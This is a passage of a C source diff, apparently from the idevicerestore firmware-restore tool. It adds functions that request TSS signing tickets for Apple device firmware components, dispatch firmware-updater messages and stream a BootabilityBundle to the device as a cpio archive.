+static plist_t restore_get_generic_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ plist_t request = NULL;
+ plist_t response = NULL;
+
+ plist_t p_updater_name = plist_dict_get_item(arguments, "MessageArgUpdaterName");
+ const char* s_updater_name = plist_get_string_ptr(p_updater_name, NULL);
+
+ plist_t response_tags = plist_access_path(arguments, 2, "DeviceGeneratedTags", "ResponseTags");
+ const char* response_ticket = NULL;
+ if (PLIST_IS_ARRAY(response_tags)) {
+ plist_t tag0 = plist_array_get_item(response_tags, 0);
+ if (tag0) {
+ response_ticket = plist_get_string_ptr(tag0, NULL);
+ }
+ }
+ if (response_ticket == NULL) {
+ logger(LL_ERROR, "Unable to determine response ticket from device generated tags\n");
+ return NULL;
+ }
+
+ /* create TSS request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create %s TSS request\n", s_updater_name);
+ return NULL;
+ }
+
+ /* add device generated request data to request */
+ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (!device_generated_request) {
+ logger(LL_ERROR, "Could not find DeviceGeneratedRequest in arguments dictionary\n");
+ plist_free(request);
+ return NULL;
+ }
+ plist_dict_merge(&request, device_generated_request);
+
+ logger(LL_INFO, "Sending %s TSS request...\n", s_updater_name);
+ logger_dump_plist(LL_DEBUG, request, 0);
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch %s ticket\n", s_updater_name);
+ return NULL;
+ }
+ logger_dump_plist(LL_DEBUG, response, 0);
+
+ if (plist_dict_get_item(response, response_ticket)) {
+ logger(LL_INFO, "Received %s\n", response_ticket);
+ } else {
+ logger(LL_ERROR, "No '%s' in TSS response, this might not work\n", response_ticket);
+ logger_dump_plist(LL_VERBOSE, response, 0);
+ }
+
+ return response;
+}
+
+static plist_t restore_get_tcon_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ char *comp_name = "Baobab,TCON";
+ char *comp_path = NULL;
+ void* component_data = NULL;
+ size_t component_size = 0;
+ plist_t parameters = NULL;
+ plist_t request = NULL;
+ plist_t response = NULL;
+ int ret;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return NULL;
+ }
+
+ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) {
+ logger(LL_ERROR, "%s: DeviceGeneratedRequest has invalid type!\n", __func__);
+ return NULL;
+ }
+
+ /* create Baobab request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create Baobab TSS request\n");
+ free(component_data);
+ return NULL;
+ }
+
+ parameters = plist_new_dict();
+
+ /* add manifest for current build_identity to parameters */
+ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true);
+
+ /* add Baobab,* tags from info dictionary to parameters */
+ plist_dict_merge(&parameters, p_info);
+
+ /* add required tags for Baobab TSS request */
+ tss_request_add_tcon_tags(request, parameters, device_generated_request);
+
+ plist_free(parameters);
+
+ logger(LL_INFO, "Sending Baobab TSS request...\n");
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch Baobab ticket\n");
+ free(component_data);
+ return NULL;
+ }
+
+ if (plist_dict_get_item(response, "Baobab,Ticket")) {
+ logger(LL_INFO, "Received Baobab ticket\n");
+ } else {
+ logger(LL_ERROR, "No 'Baobab,Ticket' in TSS response, this might not work\n");
+ }
+
+ /* don't add FirmwareData if not requested via ResponseTags */
+ if (!_wants_firmware_data(arguments)) {
+ logger(LL_DEBUG, "Not adding FirmwareData as it was not requested\n");
+ return response;
+ }
+
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ plist_free(response);
+ return NULL;
+ }
+
+ /* now get actual component data */
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ plist_free(response);
+ return NULL;
+ }
+
+ plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size));
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+
+ return response;
+}
+
+static plist_t restore_get_timer_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ char comp_name[64];
+ char *comp_path = NULL;
+ void* component_data = NULL;
+ size_t component_size = 0;
+ ftab_t ftab = NULL;
+ ftab_t rftab = NULL;
+ uint32_t ftag = 0;
+ plist_t parameters = NULL;
+ plist_t request = NULL;
+ plist_t response = NULL;
+ const char* ticket_name = NULL;
+ uint32_t tag = 0;
+ int ret;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return NULL;
+ }
+
+ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) {
+ logger(LL_ERROR, "%s: DeviceGeneratedRequest has invalid type!\n", __func__);
+ return NULL;
+ }
+
+ /* create Timer request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create Timer TSS request\n");
+ return NULL;
+ }
+
+ parameters = plist_new_dict();
+
+ /* add manifest for current build_identity to parameters */
+ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true);
+
+ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1));
+ if (client->image4supported) {
+ plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1));
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1));
+ } else {
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0));
+ }
+
+ /* add Timer,* tags from info dictionary to parameters */
+ plist_t info_array = plist_dict_get_item(p_info, "InfoArray");
+ if (!info_array) {
+ logger(LL_ERROR, "Could not find InfoArray in info dictionary\n");
+ plist_free(parameters);
+ return NULL;
+ } else {
+ plist_t info_dict = plist_array_get_item(info_array, 0);
+ plist_t hwid = plist_dict_get_item(info_dict, "HardwareID");
+ tag = (uint32_t)plist_dict_get_uint(info_dict, "TagNumber");
+ char key[64];
+
+ plist_dict_set_item(parameters, "TagNumber", plist_new_uint(tag));
+ plist_t node = plist_dict_get_item(info_dict, "TicketName");
+ if (node) {
+ ticket_name = plist_get_string_ptr(node, NULL);
+ plist_dict_set_item(parameters, "TicketName", plist_copy(node));
+ }
+
+ snprintf(key, sizeof(key), "Timer,ChipID,%u", tag);
+ plist_dict_copy_uint(parameters, hwid, key, "ChipID");
+
+ snprintf(key, sizeof(key), "Timer,BoardID,%u", tag);
+ plist_dict_copy_uint(parameters, hwid, key, "BoardID");
+
+ snprintf(key, sizeof(key), "Timer,ECID,%u", tag);
+ plist_dict_copy_uint(parameters, hwid, key, "ECID");
+
+ snprintf(key, sizeof(key), "Timer,Nonce,%u", tag);
+ plist_dict_copy_data(parameters, hwid, key, "Nonce");
+
+ snprintf(key, sizeof(key), "Timer,SecurityMode,%u", tag);
+ plist_dict_copy_bool(parameters, hwid, key, "SecurityMode");
+
+ snprintf(key, sizeof(key), "Timer,SecurityDomain,%u", tag);
+ plist_dict_copy_uint(parameters, hwid, key, "SecurityDomain");
+
+ snprintf(key, sizeof(key), "Timer,ProductionMode,%u", tag);
+ plist_dict_copy_uint(parameters, hwid, key, "ProductionStatus");
+ }
+ plist_t ap_info = plist_dict_get_item(p_info, "APInfo");
+ if (!ap_info) {
+ logger(LL_ERROR, "Could not find APInfo in info dictionary\n");
+ plist_free(parameters);
+ return NULL;
+ } else {
+ plist_dict_merge(&parameters, ap_info);
+ }
+
+ /* add required tags for Timer TSS request */
+ tss_request_add_timer_tags(request, parameters, device_generated_request);
+
+ plist_free(parameters);
+
+ logger(LL_INFO, "Sending %s TSS request...\n", ticket_name);
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch %s\n", ticket_name);
+ return NULL;
+ }
+
+ if (plist_dict_get_item(response, ticket_name)) {
+ logger(LL_INFO, "Received %s\n", ticket_name);
+ } else {
+ logger(LL_ERROR, "No '%s' in TSS response, this might not work\n", ticket_name);
+ }
+
+ /* don't add FirmwareData if not requested via ResponseTags */
+ if (!_wants_firmware_data(arguments)) {
+ logger(LL_DEBUG, "Not adding FirmwareData as it was not requested\n");
+ return response;
+ }
+
+ snprintf(comp_name, sizeof(comp_name), "Timer,RTKitOS,%u", tag);
+ if (build_identity_has_component(client->restore->build_identity, comp_name)) {
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ return NULL;
+ }
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ plist_free(response);
+ return NULL;
+ }
+ if (ftab_parse(component_data, component_size, &ftab, &ftag) != 0) {
+ free(component_data);
+ plist_free(response);
+ logger(LL_ERROR, "Failed to parse '%s' component data.\n", comp_name);
+ return NULL;
+ }
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+ if (ftag != 'rkos') {
+ logger(LL_WARNING, "Unexpected tag 0x%08x, expected 0x%08x; continuing anyway.\n", ftag, 'rkos');
+ }
+ } else {
+ logger(LL_NOTICE, "Build identity does not have a '%s' component.\n", comp_name);
+ }
+
+ snprintf(comp_name, sizeof(comp_name), "Timer,RestoreRTKitOS,%u", tag);
+ if (build_identity_has_component(client->restore->build_identity, comp_name)) {
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ ftab_free(ftab);
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ return NULL;
+ }
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ ftab_free(ftab);
+ plist_free(response);
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ return NULL;
+ }
+
+ ftag = 0;
+ if (ftab_parse(component_data, component_size, &rftab, &ftag) != 0) {
+ free(component_data);
+ ftab_free(ftab);
+ plist_free(response);
+ logger(LL_ERROR, "Failed to parse '%s' component data.\n", comp_name);
+ return NULL;
+ }
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+ if (ftag != 'rkos') {
+ logger(LL_WARNING, "Unexpected tag 0x%08x, expected 0x%08x; continuing anyway.\n", ftag, 'rkos');
+ }
+
+ if (ftab_get_entry_ptr(rftab, 'rrko', &component_data, &component_size) == 0) {
+ ftab_add_entry(ftab, 'rrko', component_data, component_size);
+ } else {
+ logger(LL_ERROR, "Could not find 'rrko' entry in ftab. This will probably break things.\n");
+ }
+ ftab_free(rftab);
+ component_data = NULL;
+ component_size = 0;
+ } else {
+ logger(LL_NOTICE, "Build identity does not have a '%s' component.\n", comp_name);
+ }
+
+ ftab_write(ftab, &component_data, &component_size);
+ ftab_free(ftab);
+
+ plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size));
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+
+ return response;
+}
+
+static plist_t restore_get_cryptex1_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ plist_t parameters = NULL;
+ plist_t request = NULL;
+ plist_t response = NULL;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return NULL;
+ }
+
+ plist_t p_updater_name = plist_dict_get_item(arguments, "MessageArgUpdaterName");
+ const char* s_updater_name = plist_get_string_ptr(p_updater_name, NULL);
+
+ plist_t response_tags = plist_access_path(arguments, 2, "DeviceGeneratedTags", "ResponseTags");
+ const char* response_ticket = "Cryptex1,Ticket";
+ if (PLIST_IS_ARRAY(response_tags)) {
+ plist_t tag0 = plist_array_get_item(response_tags, 0);
+ if (tag0) {
+ response_ticket = plist_get_string_ptr(tag0, NULL);
+ }
+ }
+
+ /* create Cryptex1 request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create %s TSS request\n", s_updater_name);
+ return NULL;
+ }
+
+ parameters = plist_new_dict();
+
+ /* merge data from MessageArgInfo */
+ plist_dict_merge(&parameters, p_info);
+
+ /* add tags from manifest to parameters */
+ plist_t build_identity_tags = plist_access_path(arguments, 2, "DeviceGeneratedTags", "BuildIdentityTags");
+ if (PLIST_IS_ARRAY(build_identity_tags)) {
+ uint32_t i = 0;
+ for (i = 0; i < plist_array_get_size(build_identity_tags); i++) {
+ plist_t node = plist_array_get_item(build_identity_tags, i);
+ const char* key = plist_get_string_ptr(node, NULL);
+ plist_t item = plist_dict_get_item(client->restore->build_identity, key);
+ if (item) {
+ plist_dict_set_item(parameters, key, plist_copy(item));
+ }
+ }
+ }
+
+ /* make sure we always have these required tags defined */
+ if (!plist_dict_get_item(parameters, "ApProductionMode")) {
+ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1));
+ }
+ if (!plist_dict_get_item(parameters, "ApSecurityMode")) {
+ plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1));
+ }
+ if (!plist_dict_get_item(parameters, "ApChipID")) {
+ plist_dict_copy_uint(parameters, client->restore->build_identity, "ApChipID", NULL);
+ }
+ if (!plist_dict_get_item(parameters, "ApBoardID")) {
+ plist_dict_copy_uint(parameters, client->restore->build_identity, "ApBoardID", NULL);
+ }
+
+ /* add device generated request data to parameters */
+ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (!device_generated_request) {
+ logger(LL_ERROR, "Could not find DeviceGeneratedRequest in arguments dictionary\n");
+ plist_free(parameters);
+ return NULL;
+ }
+ plist_dict_merge(&parameters, device_generated_request);
+
+ /* add Cryptex1 tags to request */
+ tss_request_add_cryptex_tags(request, parameters, NULL);
+
+ plist_free(parameters);
+
+ logger(LL_INFO, "Sending %s TSS request...\n", s_updater_name);
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch %s ticket\n", s_updater_name);
+ return NULL;
+ }
+
+ if (plist_dict_get_item(response, response_ticket)) {
+ logger(LL_INFO, "Received %s\n", response_ticket);
+ } else {
+ logger(LL_ERROR, "No '%s' in TSS response, this might not work\n", response_ticket);
+ logger_dump_plist(LL_VERBOSE, response, 0);
+ }
+
+ return response;
+}
+
+static int restore_send_firmware_updater_preflight(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t dict = NULL;
+ int restore_error;
+
+ if (client->debug_level > 1) {
+ logger(LL_DEBUG, "%s: Got FirmwareUpdaterPreflight request:\n", __func__);
+ logger_dump_plist(LL_DEBUG, message, 1);
+ }
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ dict = plist_new_dict();
+
+ logger(LL_INFO, "Sending FirmwareResponsePreflight now...\n");
+ restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Couldn't send FirmwareResponsePreflight data (%d)\n", restore_error);
+ return -1;
+ }
+
+ logger(LL_INFO, "Done sending FirmwareUpdaterPreflight response\n");
+ return 0;
+}
+
+static int restore_send_firmware_updater_data(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t arguments;
+ plist_t p_type, p_updater_name, p_loop_count, p_info;
+ plist_t loop_count_dict = NULL;
+ char *s_type = NULL;
+ plist_t dict = NULL;
+ plist_t fwdict = NULL;
+ char *s_updater_name = NULL;
+ int restore_error;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ if (client->debug_level > 1) {
+ logger(LL_DEBUG, "%s: Got FirmwareUpdaterData request:\n", __func__);
+ logger_dump_plist(LL_DEBUG, message, 1);
+ }
+
+ arguments = plist_dict_get_item(message, "Arguments");
+ if (!arguments || plist_get_node_type(arguments) != PLIST_DICT) {
+ logger(LL_ERROR, "%s: Arguments missing or has invalid type!\n", __func__);
+ goto error_out;
+ }
+
+ p_type = plist_dict_get_item(arguments, "MessageArgType");
+ if (!p_type || (plist_get_node_type(p_type) != PLIST_STRING)) {
+ logger(LL_ERROR, "%s: MessageArgType missing or has invalid type!\n", __func__);
+ goto error_out;
+ }
+
+ p_updater_name = plist_dict_get_item(arguments, "MessageArgUpdaterName");
+ if (!p_updater_name || (plist_get_node_type(p_updater_name) != PLIST_STRING)) {
+ logger(LL_ERROR, "%s: MessageArgUpdaterName missing or has invalid type!\n", __func__);
+ goto error_out;
+ }
+
+ p_loop_count = plist_dict_get_item(arguments, "MessageArgUpdaterLoopCount");
+ if (p_loop_count) {
+ loop_count_dict = plist_new_dict();
+ plist_dict_set_item(loop_count_dict, "LoopCount", plist_copy(p_loop_count));
+ }
+
+ plist_get_string_val(p_type, &s_type);
+ if (!s_type || strcmp(s_type, "FirmwareResponseData")) {
+ logger(LL_ERROR, "%s: MessageArgType has unexpected value '%s'\n", __func__, s_type);
+ goto error_out;
+ }
+ free(s_type);
+ s_type = NULL;
+
+ p_info = plist_dict_get_item(arguments, "MessageArgInfo");
+ if (!p_info || (plist_get_node_type(p_info) != PLIST_DICT)) {
+ logger(LL_ERROR, "%s: MessageArgInfo missing or has invalid type!\n", __func__);
+ goto error_out;
+ }
+
+ plist_get_string_val(p_updater_name, &s_updater_name);
+ logger_dump_plist(LL_DEBUG, p_info, 1);
+
+ if (strcmp(s_updater_name, "SE") == 0) {
+ fwdict = restore_get_se_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get SE firmware data\n", __func__);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "Savage") == 0) {
+ const char *fwtype = "Savage";
+ plist_t p_info_yonkers = plist_dict_get_item(p_info, "YonkersDeviceInfo");
+ plist_t p_info_jasmine = plist_dict_get_item(p_info, "JasmineIR1DeviceInfo");
+ if (PLIST_IS_DICT(p_info_yonkers)) {
+ fwtype = "Yonkers";
+ fwdict = restore_get_yonkers_firmware_data(client, p_info_yonkers, arguments);
+ } else if (PLIST_IS_DICT(p_info_jasmine)) {
+ fwtype = "Jasmine";
+ fwdict = restore_get_generic_firmware_data(client, p_info_jasmine, arguments);
+ } else {
+ fwdict = restore_get_savage_firmware_data(client, p_info, arguments);
+ }
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get %s firmware data\n", __func__, fwtype);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "Rose") == 0) {
+ fwdict = restore_get_rose_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get Rose firmware data\n", __func__);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "T200") == 0) {
+ fwdict = restore_get_veridian_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get Veridian firmware data\n", __func__);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "AppleTCON") == 0) {
+ fwdict = restore_get_tcon_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get AppleTCON firmware data\n", __func__);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "PS190") == 0) {
+ fwdict = restore_get_generic_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get PCON1 firmware data\n", __func__);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "AppleTypeCRetimer") == 0) {
+ fwdict = restore_get_timer_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get AppleTypeCRetimer firmware data\n", __func__);
+ goto error_out;
+ }
+ } else if ((strcmp(s_updater_name, "Cryptex1") == 0) || (strcmp(s_updater_name, "Cryptex1LocalPolicy") == 0)) {
+ fwdict = restore_get_cryptex1_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get %s firmware data\n", __func__, s_updater_name);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "Ace3") == 0) {
+ fwdict = restore_get_generic_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get %s firmware data\n", __func__, s_updater_name);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "Centauri") == 0) {
+ fwdict = restore_get_generic_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get %s firmware data\n", __func__, s_updater_name);
+ goto error_out;
+ }
+ } else if (strcmp(s_updater_name, "Vinyl") == 0) {
+ fwdict = restore_get_generic_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get %s firmware data\n", __func__, s_updater_name);
+ goto error_out;
+ }
+ } else {
+ logger(LL_ERROR, "%s: Got unknown updater name '%s', trying to discover from device generated request.\n", __func__, s_updater_name);
+ fwdict = restore_get_generic_firmware_data(client, p_info, arguments);
+ if (fwdict == NULL) {
+ logger(LL_ERROR, "%s: Couldn't get %s firmware data\n", __func__, s_updater_name);
+ goto error_out;
+ }
+ }
+ free(s_updater_name);
+ s_updater_name = NULL;
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "FirmwareResponseData", fwdict);
+
+ logger(LL_INFO, "Sending FirmwareResponse data now...\n");
+ restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Couldn't send FirmwareResponse data (%d)\n", restore_error);
+ goto error_out;
+ }
+
+ logger(LL_INFO, "Done sending FirmwareUpdater data\n");
+
+ return 0;
+
+error_out:
+ free(s_type);
+ free(s_updater_name);
+ plist_free(loop_count_dict);
+ return -1;
+}
+
+static int restore_send_receipt_manifest(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t dict;
+ int restore_error;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ plist_t manifest = plist_dict_get_item(client->restore->build_identity, "Manifest");
+ if (!manifest) {
+ logger(LL_ERROR, "%s: Failed to get Manifest node from build_identity\n", __func__);
+ goto error_out;
+ }
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "ReceiptManifest", plist_copy(manifest));
+
+ logger(LL_INFO, "Sending ReceiptManifest data now...\n");
+ restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Couldn't send ReceiptManifest data (%d)\n", restore_error);
+ goto error_out;
+ }
+
+ logger(LL_INFO, "Done sending ReceiptManifest data\n");
+
+ return 0;
+
+error_out:
+ return -1;
+}
+
+
+struct cpio_odc_header {
+ char c_magic[6];
+ char c_dev[6];
+ char c_ino[6];
+ char c_mode[6];
+ char c_uid[6];
+ char c_gid[6];
+ char c_nlink[6];
+ char c_rdev[6];
+ char c_mtime[11];
+ char c_namesize[6];
+ char c_filesize[11];
+};
+
+static void octal(char *p, int width, int v)
+{
+ char buf[32];
+ snprintf(buf, 32, "%0*o", width, v);
+ memcpy(p, buf, width);
+}
+
+static int cpio_send_file(idevice_connection_t connection, const char *name, struct stat *st, void *data)
+{
+ struct cpio_odc_header hdr;
+
+ memset(&hdr, '0', sizeof(hdr));
+ memcpy(hdr.c_magic, "070707", 6);
+ octal(hdr.c_dev, 6, st->st_dev);
+ octal(hdr.c_ino, 6, st->st_ino);
+ octal(hdr.c_mode, 6, st->st_mode);
+ octal(hdr.c_uid, 6, st->st_uid);
+ octal(hdr.c_gid, 6, st->st_gid);
+ octal(hdr.c_nlink, 6, st->st_nlink);
+ octal(hdr.c_rdev, 6, st->st_rdev);
+ octal(hdr.c_mtime, 11, st->st_mtime);
+ octal(hdr.c_namesize, 6, strlen(name) + 1);
+ if (data)
+ octal(hdr.c_filesize, 11, st->st_size);
+
+ uint32_t bytes = 0;
+ int name_len = strlen(name) + 1;
+ idevice_error_t device_error;
+
+ device_error = idevice_connection_send(connection, (void *)&hdr, sizeof(hdr), &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != sizeof(hdr)) {
+ logger(LL_ERROR, "BootabilityBundle unable to send header. (%d) Sent %u of %lu bytes.\n", device_error, bytes, (long)sizeof(hdr));
+ return -1;
+ }
+
+ device_error = idevice_connection_send(connection, (void *)name, name_len, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != name_len) {
+ logger(LL_ERROR, "BootabilityBundle unable to send filename. (%d) Sent %u of %u bytes.\n", device_error, bytes, name_len);
+ return -1;
+ }
+
+ if (st->st_size && data) {
+ device_error = idevice_connection_send(connection, data, st->st_size, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != st->st_size) {
+ logger(LL_ERROR, "BootabilityBundle unable to send data. (%d) Sent %u of %lu bytes.\n", device_error, bytes, (long)st->st_size);
+ return -1;
+ }
+ }
+
+ return 0;
+}
+
+static int restore_bootability_send_one(void *ctx, ipsw_archive_t ipsw, const char *name, struct stat *stat)
+{
+ idevice_connection_t connection = (idevice_connection_t)ctx;
+ const char *prefix_v1 = "BootabilityBundle/Restore/Bootability/";
+ const char *prefix_v2 = "BootabilityBundleV2/Restore/Bootability/";
+ const char *subpath;
+
+ if (!strcmp(name, "BootabilityBundle/Restore/Firmware/Bootability.dmg.trustcache") ||
+ !strcmp(name, "BootabilityBundleV2/Restore/Firmware/Bootability.dmg.trustcache")) {
+ subpath = "Bootability.trustcache";
+ } else if (!strncmp(name, prefix_v1, strlen(prefix_v1))) {
+ subpath = name + strlen(prefix_v1);
+ } else if (!strncmp(name, prefix_v2, strlen(prefix_v2))) {
+ subpath = name + strlen(prefix_v2);
+ } else {
+ return 0;
+ }
+
+ logger(LL_DEBUG, "BootabilityBundle send m=%07o s=%10ld %s\n", stat->st_mode, (long)stat->st_size, subpath);
+
+ void *buf = NULL;
+ size_t size = 0;
+
+ if ((S_ISLNK(stat->st_mode) || S_ISREG(stat->st_mode)) && stat->st_size != 0) {
+ ipsw_extract_to_memory(ipsw, name, &buf, &size);
+ if (size != stat->st_size) {
+ logger(LL_ERROR, "expected %zu bytes but got %zu for file %s\n", (size_t)stat->st_size, size, name);
+ free(buf);
+ return -1;
+ }
+ }
+
+ stat->st_uid = stat->st_gid = 0;
+
+ int ret = cpio_send_file(connection, subpath, stat, buf);
+
+ free(buf);
+ return ret;
+}
+
+static int restore_send_bootability_bundle_data(struct idevicerestore_client_t* client, plist_t message)
+{
+ if (client->debug_level > 1) {
+ logger(LL_DEBUG, "%s: Got BootabilityBundle request:\n", __func__);
+ logger_dump_plist(LL_DEBUG, message, 1);
+ }
+
+ plist_t node = plist_dict_get_item(message, "DataPort");
+ uint64_t u64val = 0;
+ plist_get_uint_val(node, &u64val);
+ uint16_t data_port = (uint16_t)u64val;
+
+ int attempts = 10;
+ idevice_connection_t connection = NULL;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+
+ if (!client || !client->restore || !client->restore->build_identity || !client->restore->device) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ logger(LL_DEBUG, "Connecting to BootabilityBundle data port\n");
+ while (--attempts > 0) {
+ device_error = idevice_connect(client->restore->device, data_port, &connection);
+ if (device_error == IDEVICE_E_SUCCESS) {
+ break;
+ }
+ sleep(1);
+ logger(LL_DEBUG, "Retrying connection...\n");
+ }
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to connect to BootabilityBundle data port\n");
+ return -1;
+ }
+
+ int ret = ipsw_list_contents(client->ipsw, restore_bootability_send_one, connection);
+
+ if (ret < 0) {
+ logger(LL_ERROR, "Failed to send BootabilityBundle\n");
+ return ret;
+ }
+
+ struct stat st = {.st_nlink = 1};
+ cpio_send_file(connection, "TRAILER!!!", &st, NULL);
+
+ idevice_disconnect(connection);
+
+ return 0;
+}
+
+plist_t restore_get_build_identity(struct idevicerestore_client_t* client, uint8_t is_recovery_os)
+{
+ const char *variant;
+
+ if (is_recovery_os)
+ variant = RESTORE_VARIANT_MACOS_RECOVERY_OS;
+ else if (client->flags & FLAG_ERASE)
+ variant = RESTORE_VARIANT_ERASE_INSTALL;
+ else
+ variant = RESTORE_VARIANT_UPGRADE_INSTALL;
+
+ plist_t build_identity = build_manifest_get_build_identity_for_model_with_variant(
+ client->build_manifest,
+ client->device->hardware_model,
+ variant, 0);
+
